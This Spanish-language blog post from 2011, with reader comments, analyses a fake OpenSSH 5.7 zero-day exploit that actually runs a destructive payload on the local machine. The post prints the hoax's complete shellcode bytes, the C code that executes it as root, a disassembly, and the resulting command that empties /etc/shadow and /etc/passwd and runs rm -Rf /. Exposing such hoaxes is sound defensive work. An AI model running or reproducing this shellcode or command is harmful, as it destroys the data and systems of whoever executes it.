Fake 0day exploit para OpenSSH
Hoy hemos amanecido con alguna que otra noticia sobre un posible 0day en OpenSSH 5.7 (versión anterior a la actual OpenSSH 5.8/5.8p1).
Por lo que hemos podido trazar, al menos en Twitter el origen parece ser el siguiente tweet:
En twitter se han podido encontrar diversos enlaces al supuesto 0day:
Sólo con revisar la actividad de esta cuenta ya hay diferentes aspectos sospechosos, como el bajo número de Tweets y las fechas de los mismos.
Al acceder al enlace del servicio pastebin y otras fuentes, es posible acceder al supuesto código del exploit:
Además de este, se han detectado otras variantes, supuestamente multiplataforma:
- http://webcache.googleusercontent.com/search?q=cache:weOhXI1CNToJ:www.iexploit.org/community/showthread.php%3Ftid%3D2205%26action%3Dnextnewest+0day+openssh+%2Bx3n0n&cd=3&hl=es&ct=clnk&gl=es&source=www.google.es
- http://webcache.googleusercontent.com/search?q=cache:L2xbOfJNKf0J:www.xtremeroot.net/ofsec/index.php%3F/topic/30419-tutnew0day-ssh-exploit-tutorial/page__pid__50706+0day+openssh+%2Bx3n0n&cd=1&hl=es&ct=clnk&gl=es&source=www.google.es
Pues bien, después de realizar un análisis del primero de los exploits, se ha podido comprobar que se trata de un HOAX, y además dañiño.
Si revisamos el código, se inicializa la variable shellcode con lo que posteriormente veremos que se trata de un payload dañino.
unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65" "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73" "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22" "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20" "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1" "\xcd\x80";
En realidad del supuesto exploit, el único código relevante es el siguiente:
int main(int argc, char *argv[]) { int uid = getuid(); int port = 22, sock; struct hostent *host; struct sockaddr_in addr; if(uid !=0) { fprintf(stderr, "[!!]Error: You must be root\n"); exit(1); } if(uid == 0) { printf("\t[+]Starting exploit..\n"); } if(argc != 3) usage(argv); fprintf(stderr, "[!!]Exploit failed\n"); (*(void(*)())shellcode)();
En el que se comprueba que el usuario que lo ejecuta es root, se comprueba el número de argumentos y se llama un puntero a función que apunta al payload inicializado en la variable «shellcode», por lo que realmente éste se ejecuta en local.
A continuación se adjunta el análisis estático de la shellcode:
seg000:00000000 seg000:00000000 ; Segment type: Pure code seg000:00000000 seg000 segment byte public 'CODE' use32 seg000:00000000 assume cs:seg000 seg000:00000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing seg000:00000000 push 0Bh seg000:00000002 pop eax ; eax => system call numbre = 0xB (execve) seg000:00000003 cdq ; edx => \0 seg000:00000004 push edx seg000:00000005 push small 'c-' seg000:00000009 mov edi, esp ; edi => pointer to "-c" seg000:0000000B push 'hs/' seg000:00000010 push 'nib/' seg000:00000015 mov ebx, esp ; ebx => pointer to "/bin/sh" seg000:00000017 push edx ; push NULL seg000:00000018 call loc_56 ; push pointer to "aEchoEtcShadowE" seg000:00000018 ; --------------------------------------------------------------------------- seg000:0000001D aEchoEtcShadowE db 'echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /',0 seg000:00000056 ; --------------------------------------------------------------------------- seg000:00000056 seg000:00000056 loc_56: ; CODE XREF: seg000:00000018?p seg000:00000056 push edi ; push pointer to "-c" seg000:00000057 push ebx ; push pointer to "/bin/sh" seg000:00000058 mov ecx, esp ; ecx => args = ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"] seg000:0000005A int 80h ; execve("/bin/sh", ["/bin/sh", "-c", "echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /"], NULL) seg000:0000005A seg000 ends seg000:0000005A seg000:0000005A seg000:0000005A end
Así pues, el supuesto exploit ejecuta en el sistema local, con privilegios de root, el comando:
echo "" > /etc/shadow"; echo "" > /etc/passwd; rm -Rf /
Destacar que este no es el primer caso de fake exploits relacionados con OpenSSH, ya por el 2009 hubo otra oleada de fake exploits para el mismo servicio.
Felicidades artistas! Estais hechos unos cracks! 🙂
4 febrero, 2011 en 22:07
Jajaja, gracias man! Ha sido un rato divertido! 😉
Buen finde!
4 febrero, 2011 en 22:12
Pingback: libemu para el análisis dinámico del fake 0 day para OpenSSH « Testpurposes
Simple google cache search shows there are references to this code a week before this tweet. Hacker going by the alias chronic_
http://www.google.com/search?q=«openssh+5.7″+0day+exploit
You should check your sources before blaming the author of a tweet.
7 febrero, 2011 en 4:07
Greetings,
first of all, we apologize if we have annoyed any people, specially the tweet author. We’ve changed the twitter images included in the post.
The way we discovered the Hoax was his tweet, and although we saw (and posted) two references to the fake exploit cached in google (as you say), we considered the tweet suspicious.
Sorry for the inconveniences and thank you for your collaboration.
Cheers.
7 febrero, 2011 en 21:00